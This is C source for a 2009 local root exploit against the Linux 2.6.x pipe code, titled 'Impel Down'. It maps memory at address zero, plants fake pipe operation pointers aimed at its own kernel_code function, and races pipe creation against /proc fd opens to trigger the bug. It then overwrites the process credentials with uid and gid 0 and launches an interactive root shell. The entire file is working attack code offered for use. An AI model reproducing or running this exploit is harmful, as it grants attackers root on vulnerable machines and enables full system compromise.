/******************************************************************************
 *                            .:: Impel Down ::.
 *
 *     Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
 *                              by teach & xipe
 *    Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
 *    (hehe guyz, we would probably be high profile and mediatised el8 if we 
 *    lost less time on trolling all day long, but we LOVE IT :))) 
 *    Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
 *    promise ivan, one day i'll kill u :p)
 *                
 * (C) COPYRIGHT teach & xipe, 2009
 * All Rights Reserved
 *
 * teach@vxhell.org
 * xipe@vxhell.org
 *    
 *******************************************************************************/

#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>

#define PIPE_BUFFERS (16)

struct pipe_buf_operations {
        int can_merge;
  int *ops[10];
};

struct pipe_buffer {
        int *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

struct pseudo_pipe_inode_info
{
  /* Wait queue head */
     /* spinlock */
    int spinlock;
    /* list */
    int *next, *prev;
  unsigned int nrbufs, curbuf;
  int *page;
  unsigned int readers;
  unsigned int writers;
  unsigned int waiting_writers;
  unsigned int r_counter;
  unsigned int w_counter;
  int *async_readers;
  int *async_writers;
  int *inode;
  struct pipe_buffer bufs[PIPE_BUFFERS];
};

static pid_t uid;
static gid_t gid;
unsigned long taskstruct[1024];

static inline void *get_stack_top()
{
  void *stack;

  __asm__ __volatile__ (
  "movl $0xffffe000,%%eax ;"
  "andl %%esp, %%eax ;"
  "movl %%eax, %0 ;"
  : "=r" (stack)
  );
  return stack; 
}

static inline void *get_current()
{
  return *(void **)get_stack_top();
}

static void update_cred()
{
  uint32_t  i;
  uint32_t  *task = get_current(); /* Pointer to the task_struct */
  uint32_t   *cred = 0;
  
  for (i = 0; i < 1024; i++)
  {
    taskstruct[i] = task[i];
    cred = (uint32_t *)task[i];
    if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
      cred++; /* Get ride of the cred's 'usage' field */
            if (cred[0] == uid && cred[1] == gid
                && cred[2] == uid && cred[3] == gid
                && cred[4] == uid && cred[5] == gid
                && cred[6] == uid && cred[7] == gid)
            {
        /* Get root */
               cred[0] = cred[2] = cred[4] = cred[6] = 0;
                    cred[1] = cred[3] = cred[5] = cred[7] = 0;
        break;
            }
    }
  }
}

int is_done(int new)
{
  static int done = 0;
  if (done == 1)
    return (1);
  done = new;
}

volatile int done = 0;
void  kernel_code()
{
  is_done(1);
  update_cred();
  //exit_kernel();
}

int main(int ac, char **av)
{
  int fd[2];
  int pid;
  int parent_pid = getpid();
  char *buf;
  int i,j;
  struct pseudo_pipe_inode_info   *pinfo = 0;
  struct pipe_buf_operations  ops;  

  buf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0); 

  printf ("buf: %p\n", buf);

  pinfo->readers = 0;
  pinfo->writers = 0;

  for (i = 0; i < 10; i++)
    ops.ops[i] = (int *)kernel_code;

  for (i = 0; i < PIPE_BUFFERS; i++)
  {
    pinfo->bufs[i].ops = &ops;
  }

  i = 0;


  uid = getuid();
  gid = getgid();
  setresuid(uid, uid, uid);
  setresgid(gid, gid, gid);
  //while (1) 
  {
    pid = fork();
    if (pid == -1)
    {
      perror("fork");
      return (-1);
    }
    if (pid)
    {
      char path[1024];
      char c;
      /* I assume next opened fd will be 4 */
      sprintf(path, "/proc/%d/fd/4", pid);
            printf("Parent: %d\nChild: %d\n", parent_pid, pid);  
      while (!is_done(0))
      {
        fd[0] = open(path, O_RDWR);
        if (fd[0] != -1)
        {
          close(fd[0]);
        }
      }
      //system("/bin/sh");
      execl("/bin/sh", "/bin/sh", "-i", NULL);
      return (0);
    }
  
    while (!is_done(0))
    {
      if (pipe(fd) != -1)
      {
        close(fd[0]);
        close(fd[1]);
      }
    }
  }
}